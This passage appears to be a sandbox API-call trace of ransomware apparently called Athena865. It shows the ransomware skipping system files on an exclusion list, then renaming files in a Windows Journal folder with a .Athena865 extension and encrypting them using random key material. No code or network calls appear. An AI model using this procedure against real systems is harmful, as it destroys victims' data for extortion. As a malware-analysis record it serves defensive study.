ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".") returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="..") returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="windows") returned -1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="bootmgr") returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="temp") returned -1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="pagefile.sys") returned -1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="boot") returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="ids.txt") returned 1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="ntuser.dat") returned -1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="perflogs") returned -1 [0039.149] lstrcmpiW (lpString1="jnwdui.dll", lpString2="MSBuild") returned -1 [0039.149] lstrlenW (lpString="jnwdui.dll") returned 10 [0039.149] lstrcpyW (in: lpString1=0x241e88a, lpString2="jnwdui.dll" | out: lpString1="jnwdui.dll") returned="jnwdui.dll" [0039.149] lstrlenW (lpString="jnwdui.dll") returned 10 [0039.149] lstrlenW (lpString="Athena865") returned 9 [0039.150] lstrcmpiW (lpString1="nwdui.dll", lpString2="Athena865") returned 1 [0039.150] lstrlenW (lpString=".dll") returned 4 [0039.150] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".dll") returned 1 [0039.150] lstrlenW (lpString=".lnk") returned 4 [0039.150] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".lnk") returned 1 [0039.150] lstrlenW (lpString=".ini") returned 4 [0039.150] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".ini") returned 1 [0039.150] lstrlenW (lpString=".sys") returned 4 [0039.150] lstrcmpiW (lpString1="jnwdui.dll", lpString2=".sys") returned 1 [0039.150] lstrlenW (lpString="jnwdui.dll") returned 10 [0039.150] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\jnwdui.dll.Athena865") returned 53 [0039.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\jnwdui.dll" (normalized: "c:\\program files\\windows journal\\jnwdui.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\jnwdui.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwdui.dll.athena865"), dwFlags=0x1) returned 1 [0039.151] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\jnwdui.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwdui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.151] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=98816) returned 1 [0039.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.151] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.152] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.152] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.152] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18500, lpName=0x0) returned 0x154 [0039.154] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18500) returned 0x100000 [0039.157] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.160] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.160] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.161] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0039.162] CloseHandle (hObject=0x154) returned 1 [0039.162] CloseHandle (hObject=0x17c) returned 1 [0039.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.165] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".") returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="..") returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="windows") returned -1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="bootmgr") returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="temp") returned -1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="pagefile.sys") returned -1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="boot") returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="ids.txt") returned 1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="ntuser.dat") returned -1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="perflogs") returned -1 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2="MSBuild") returned -1 [0039.165] lstrlenW (lpString="jnwmon.dll") returned 10 [0039.165] lstrcpyW (in: lpString1=0x241e88a, lpString2="jnwmon.dll" | out: lpString1="jnwmon.dll") returned="jnwmon.dll" [0039.165] lstrlenW (lpString="jnwmon.dll") returned 10 [0039.165] lstrlenW (lpString="Athena865") returned 9 [0039.165] lstrcmpiW (lpString1="nwmon.dll", lpString2="Athena865") returned 1 [0039.165] lstrlenW (lpString=".dll") returned 4 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".dll") returned 1 [0039.165] lstrlenW (lpString=".lnk") returned 4 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".lnk") returned 1 [0039.165] lstrlenW (lpString=".ini") returned 4 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".ini") returned 1 [0039.165] lstrlenW (lpString=".sys") returned 4 [0039.165] lstrcmpiW (lpString1="jnwmon.dll", lpString2=".sys") returned 1 [0039.166] lstrlenW (lpString="jnwmon.dll") returned 10 [0039.166] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\jnwmon.dll.Athena865") returned 53 [0039.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\jnwmon.dll" (normalized: "c:\\program files\\windows journal\\jnwmon.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\jnwmon.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwmon.dll.athena865"), dwFlags=0x1) returned 1 [0039.166] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\jnwmon.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwmon.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.166] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24576) returned 1 [0039.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.167] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.168] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.168] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.168] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6300, lpName=0x0) returned 0x154 [0039.169] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6300) returned 0x100000 [0039.177] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.178] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.178] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.179] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0039.179] CloseHandle (hObject=0x154) returned 1 [0039.179] CloseHandle (hObject=0x17c) returned 1 [0039.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.181] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".") returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="..") returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="windows") returned -1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="bootmgr") returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="temp") returned -1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="pagefile.sys") returned -1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="boot") returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="ids.txt") returned 1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="ntuser.dat") returned -1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="perflogs") returned -1 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2="MSBuild") returned -1 [0039.181] lstrlenW (lpString="jnwppr.dll") returned 10 [0039.181] lstrcpyW (in: lpString1=0x241e88a, lpString2="jnwppr.dll" | out: lpString1="jnwppr.dll") returned="jnwppr.dll" [0039.181] lstrlenW (lpString="jnwppr.dll") returned 10 [0039.181] lstrlenW (lpString="Athena865") returned 9 [0039.181] lstrcmpiW (lpString1="nwppr.dll", lpString2="Athena865") returned 1 [0039.181] lstrlenW (lpString=".dll") returned 4 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".dll") returned 1 [0039.181] lstrlenW (lpString=".lnk") returned 4 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".lnk") returned 1 [0039.181] lstrlenW (lpString=".ini") returned 4 [0039.181] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".ini") returned 1 [0039.181] lstrlenW (lpString=".sys") returned 4 [0039.182] lstrcmpiW (lpString1="jnwppr.dll", lpString2=".sys") returned 1 [0039.182] lstrlenW (lpString="jnwppr.dll") returned 10 [0039.182] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\jnwppr.dll.Athena865") returned 53 [0039.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\jnwppr.dll" (normalized: "c:\\program files\\windows journal\\jnwppr.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\jnwppr.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwppr.dll.athena865"), dwFlags=0x1) returned 1 [0039.182] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\jnwppr.dll.Athena865" (normalized: "c:\\program files\\windows journal\\jnwppr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.182] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27648) returned 1 [0039.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.183] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.183] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.183] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.184] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f00, lpName=0x0) returned 0x154 [0039.185] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f00) returned 0x100000 [0039.189] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.190] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.190] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.191] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0039.191] CloseHandle (hObject=0x154) returned 1 [0039.191] CloseHandle (hObject=0x17c) returned 1 [0039.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.193] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2=".") returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="..") returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="windows") returned -1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="bootmgr") returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="temp") returned -1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="pagefile.sys") returned -1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="boot") returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="ids.txt") returned 1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="ntuser.dat") returned -1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="perflogs") returned -1 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2="MSBuild") returned -1 [0039.193] lstrlenW (lpString="Journal.exe") returned 11 [0039.193] lstrcpyW (in: lpString1=0x241e88a, lpString2="Journal.exe" | out: lpString1="Journal.exe") returned="Journal.exe" [0039.193] lstrlenW (lpString="Journal.exe") returned 11 [0039.193] lstrlenW (lpString="Athena865") returned 9 [0039.193] lstrcmpiW (lpString1="urnal.exe", lpString2="Athena865") returned 1 [0039.193] lstrlenW (lpString=".dll") returned 4 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2=".dll") returned 1 [0039.193] lstrlenW (lpString=".lnk") returned 4 [0039.193] lstrcmpiW (lpString1="Journal.exe", lpString2=".lnk") returned 1 [0039.193] lstrlenW (lpString=".ini") returned 4 [0039.194] lstrcmpiW (lpString1="Journal.exe", lpString2=".ini") returned 1 [0039.194] lstrlenW (lpString=".sys") returned 4 [0039.194] lstrcmpiW (lpString1="Journal.exe", lpString2=".sys") returned 1 [0039.194] lstrlenW (lpString="Journal.exe") returned 11 [0039.194] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Journal.exe.Athena865") returned 54 [0039.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Journal.exe" (normalized: "c:\\program files\\windows journal\\journal.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\Journal.exe.Athena865" (normalized: "c:\\program files\\windows journal\\journal.exe.athena865"), dwFlags=0x1) returned 1 [0039.194] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Journal.exe.Athena865" (normalized: "c:\\program files\\windows journal\\journal.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.194] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2164224) returned 1 [0039.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.195] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.196] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.196] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.196] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x210900, lpName=0x0) returned 0x154 [0039.199] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x10900) returned 0x100000 [0039.283] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.284] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.284] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.285] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.285] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0039.285] CloseHandle (hObject=0x154) returned 1 [0039.285] CloseHandle (hObject=0x17c) returned 1 [0039.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.443] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".") returned 1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="..") returned 1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="windows") returned -1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="bootmgr") returned 1 [0039.443] lstrcmpiW 